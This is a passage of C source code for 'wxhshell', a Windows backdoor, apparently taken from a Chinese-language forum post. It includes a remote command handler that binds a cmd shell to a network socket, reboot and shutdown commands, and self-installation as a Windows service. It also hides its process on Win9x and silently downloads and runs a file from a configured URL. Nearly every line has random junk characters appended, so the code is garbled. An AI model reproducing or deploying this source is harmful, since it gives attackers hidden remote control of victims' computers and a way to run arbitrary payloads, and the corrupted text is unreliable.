  } BuitM|k'  
  else { #>z!ns  
;c@B+RquR  
    switch(cmd[0]) { I34 1s0  
  Z#kB+.U  
  // 帮助 urL@SeV+$  
  case '?': { Cf v1nU W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :[C|3KKe"  
    break; s,|v,,<+  
  } [*H h6  
  // 安装 g\49[U}[~F  
  case 'i': { SHnMqaq  
    if(Install())  z_(4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ) 2jH&}K  
    else wr>6Go%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'OU3-K  
    break; :$XlYJrjK  
    } -<u_fv  
  // 卸载 gEgd/Le  
  case 'r': { u0ZMrIJ  
    if(Uninstall()) U4iVI#f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *m'&<pg]X  
    else ?|Wxqo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 95/;II  
    break; A=D G+z''  
    } 9'vf2) "  
  // 显示 wxhshell 所在路径 vNm4xa%  
  case 'p': { }h sR}  
    char svExeFile[MAX_PATH]; =[TXH^.0  
    strcpy(svExeFile,"\n\r"); kFfNDM#D  
      strcat(svExeFile,ExeFile); zvv/|z2(r  
        send(wsh,svExeFile,strlen(svExeFile),0); x_(K%0+Ca  
    break; @JJ{\?>  
    } ,s,AkH  
  // 重启 [_C([o'\KY  
  case 'b': { Ub wmn!~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Yqt~h  
    if(Boot(REBOOT)) ki ?V eFp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Qb ].~  
    else { lI9|"^n7F  
    closesocket(wsh); vcP_gJz  
    ExitThread(0); 7VLn$q]:  
    } +Q:)zE  
    break; +\.0Pr  
    } '^'PdB  
  // 关机 ?uF3Q)rCk  
  case 'd': { R@IwmJxX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c48I-{?  
    if(Boot(SHUTDOWN)) @k-GyV-v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,K.Wni#m  
    else { |A=~aQot  
    closesocket(wsh); E7<l^/<2S+  
    ExitThread(0); j}G9+GX~,  
    } "DecS:\  
    break; \`*]}48Z  
    } h~=~csya:  
  // 获取shell Pf3F)y[=  
  case 's': { {J;(K~>?m  
    CmdShell(wsh); F]RZP/D`  
    closesocket(wsh); AbX#wpp!  
    ExitThread(0);  "'Q~&B;@  
    break; +4[Je$qYa  
  } DeQ ZDY //  
  // 退出 J[\8:qE  
  case 'x': { E8aD[j[w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V#~.n ;d  
    CloseIt(wsh); &i *e&{L7  
    break; B\~(:(OPM]  
    } #Xi9O.  
  // 离开 0"mr*hyj  
  case 'q': { ]];LA!n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i06|P I  
    closesocket(wsh); T4;gF6(0]  
    WSACleanup(); 78IY&q:v&0  
    exit(1); ]1q`N7  
    break; \.=,}sV2Z  
        } L~Xzo  
  } :M@#.  
  } c$;Cpt@-j  
byk9"QeY\  
  // 提示信息 {@t6[g++  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0.^67'  
} aOmQ<N]a  
  } MX|@x~9W  
|O*?[|`H  
  return; ,,h>_IA  
} h0-CTPQ7A  
'pT8S  
// shell模块句柄 c:-n0m'i  
int CmdShell(SOCKET sock) V~QOl=`K:  
{ L,sXJ23.  
STARTUPINFO si; yk2XfY  
ZeroMemory(&si,sizeof(si)); I%mGb$ Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =BeJ.8$@VC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $KsB'BZy  
PROCESS_INFORMATION ProcessInfo; Bdib)t[  
char cmdline[]="cmd"; f3mQd}<L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EV R>R  
  return 0;  [4mIww%  
} Ro#O{  
v;Rm42k  
// 自身启动模式 A/~^4DR  
int StartFromService(void) oK2jPP  
{ J+qcA}  
typedef struct Nbt.y 'd  
{ M{X; H'2  
  DWORD ExitStatus; 4`:Eiik&p  
  DWORD PebBaseAddress; #D%l;Ae  
  DWORD AffinityMask; is{H >#+"  
  DWORD BasePriority; YF)c.Q0  
  ULONG UniqueProcessId; wkD"EuW(  
  ULONG InheritedFromUniqueProcessId; lkQ(?7  
}   PROCESS_BASIC_INFORMATION; Ka8Bed3  
%p^`,b}  
PROCNTQSIP NtQueryInformationProcess; s<8|_Dt  
F7`[r9 $  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; > NtJ)N*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G=m18Bv{  
mzn#4;m$  
  HANDLE             hProcess; rG'W#!^*  
  PROCESS_BASIC_INFORMATION pbi; #mRT>]di`D  
]mx1djNA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Gyy?cn6_  
  if(NULL == hInst ) return 0; Yo,n#<37  
h:r:qk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E<tJ8&IGk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bDV/$@p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gnw?Y 2  
"lKR~Qi  
  if (!NtQueryInformationProcess) return 0; f<Y g_TG  
wU&vkb)k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gi,4PD-ro  
  if(!hProcess) return 0; DxG8`}+  
^x}k1F3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B?;P:!/1  
Jy-V\.N>s  
  CloseHandle(hProcess); 8LGNV&Edg  
OJ<V<=MYZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l'Uj"9r,  
if(hProcess==NULL) return 0; {\n?IGP?wd  
uiaZ@  
HMODULE hMod; P:m6:F@hO  
char procName[255]; N[sJ5oF  
unsigned long cbNeeded; Rrp-SR?O  
A 7zL\U4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~lr,}K,  
n fMU4(:  
  CloseHandle(hProcess); yzyK$WN\[3  
XK/bE35%^!  
if(strstr(procName,"services")) return 1; // 以服务启动 d08:lYQ  
jJe?pT]o  
  return 0; // 注册表启动 lT;uL~j  
} Di &XDW/  
j2=|,AmC  
// 主模块 n?8xRaEf  
int StartWxhshell(LPSTR lpCmdLine) 1oL3y;>iL  
{ h&:XO9dY  
  SOCKET wsl; ?GeMD /]  
BOOL val=TRUE; {w<"jw&2  
  int port=0; hfRxZ>O2  
  struct sockaddr_in door; &LHS<Nv^:  
rWip[>^  
  if(wscfg.ws_autoins) Install(); B[;aNyd<  
6rN.)dL.#N  
port=atoi(lpCmdLine); [(Ihue  
H ~lvUHN  
if(port<=0) port=wscfg.ws_port; ZO]P9b  
a}'dIDj  
  WSADATA data; d, 0Klew  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HEe_K!_  
N$<R6DU]K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1krSX 2L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :} DTK  
  door.sin_family = AF_INET; Qv1cf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S X[  
  door.sin_port = htons(port); r)[Xzn   
Uh3N#O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6-f-/$B  
closesocket(wsl); ,7SqR Y,+  
return 1; NPLJ*uHH  
} TECp!`)j"  
|eP5iy wg  
  if(listen(wsl,2) == INVALID_SOCKET) { FR6 PY  
closesocket(wsl); @J<RFgw#  
return 1; !Mj28  
} 3% O[W  
  Wxhshell(wsl); Fq'Ds[wd5  
  WSACleanup(); {Hzj(c~S?  
YGOhUT |  
return 0; %(:{TR  
o8N,mGj}  
} x,TnYqT^  
B9S@G{`  
// 以NT服务方式启动 'm.+S8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Dao=2JB{  
{  !xEGN@  
DWORD   status = 0; }z-6,i)'k  
  DWORD   specificError = 0xfffffff; OZQN&7  
@oQ"FLF.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;1q|SmF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; YZ6" s-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5>aK4: S/  
  serviceStatus.dwWin32ExitCode     = 0; q5\iQ2f{WV  
  serviceStatus.dwServiceSpecificExitCode = 0; #E#Fk3-ljQ  
  serviceStatus.dwCheckPoint       = 0; Nu@dMG<5  
  serviceStatus.dwWaitHint       = 0; | &/_{T  
e;9x%kNs!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Mt&n|']`8  
  if (hServiceStatusHandle==0) return; @nIoIz D~  
8+8L'Yv;  
status = GetLastError(); z+<ofZ(.  
  if (status!=NO_ERROR) {pC$jd>T  
{ O6Y1*XTmH6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; TEi1,yc  
    serviceStatus.dwCheckPoint       = 0; ?b\oM v5y  
    serviceStatus.dwWaitHint       = 0; Z=(Tq1t  
    serviceStatus.dwWin32ExitCode     = status; qI*7ToBJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; hp}JKj@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'ji|'x T  
    return; oObQN;A@6  
  } e//jd&G  
)a<MW66  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {TaYkuWS  
  serviceStatus.dwCheckPoint       = 0; F[>Y8e<[  
  serviceStatus.dwWaitHint       = 0; nBwDq^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f(T`(pX0V  
} ~#7uNH2  
H/ar: j  
// 处理NT服务事件,比如:启动、停止 \w)ddc!ZS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \f@obp  
{ NYc;Zwv9  
switch(fdwControl) %]N|?9L"=  
{ w|61dB  
case SERVICE_CONTROL_STOP: okTqq=xd`  
  serviceStatus.dwWin32ExitCode = 0; r`Dm;@JU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P<=1O WC  
  serviceStatus.dwCheckPoint   = 0; :-oMkBS  
  serviceStatus.dwWaitHint     = 0; XT1P. w[aA  
  { |BXp`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @Y!B~  
  } ]rji]4s  
  return; T9uOOI  
case SERVICE_CONTROL_PAUSE: D/+l$aBz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <TgVU.*  
  break; g1@rY0O  
case SERVICE_CONTROL_CONTINUE: -#,4rN#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1P WTbd l  
  break; ZP ]Ok  
case SERVICE_CONTROL_INTERROGATE: RSCQ`.  
  break; Hp[i8PJ  
}; uzIM?.H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tt4Q|"CJA  
} Xq}}T%jcd  
sK8sxy  
// 标准应用程序主函数 :KS"&h{SY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z=Xh  
{ k+~2 vmS  
(,b\"Q  
// 获取操作系统版本 BDLJDyf B  
OsIsNt=GetOsVer(); _} K3}}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P3v4!tR  
PW\me7iCz  
  // 从命令行安装 ,s/laZ)V  
  if(strpbrk(lpCmdLine,"iI")) Install(); v>_83P`  
8~3I^I_v  
  // 下载执行文件 G+<id1  
if(wscfg.ws_downexe) { ??lsv(v-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t :~,7  
  WinExec(wscfg.ws_filenam,SW_HIDE); l[C_vUg  
} TSVlZy~Xo  
=]1cVnPI  
if(!OsIsNt) { =,8nfJ+x  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,P=.x%  
HideProc(); rU|?3x  
StartWxhshell(lpCmdLine); Hz%<V *\{  
} r 5t{I2  
else 4 RfBXVS  
  if(StartFromService()) = BbG2k  
  // 以服务方式启动 ZO>)GR2S  
  StartServiceCtrlDispatcher(DispatchTable); [}l#cG6 k  
else RDEK=^J  
  // 普通方式启动 c )=a;_h  
  StartWxhshell(lpCmdLine); u#NX`_  
4j(`koX_  
return 0; WJMmt XO  
}
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只看该作者 1 发表于: 2006-10-10
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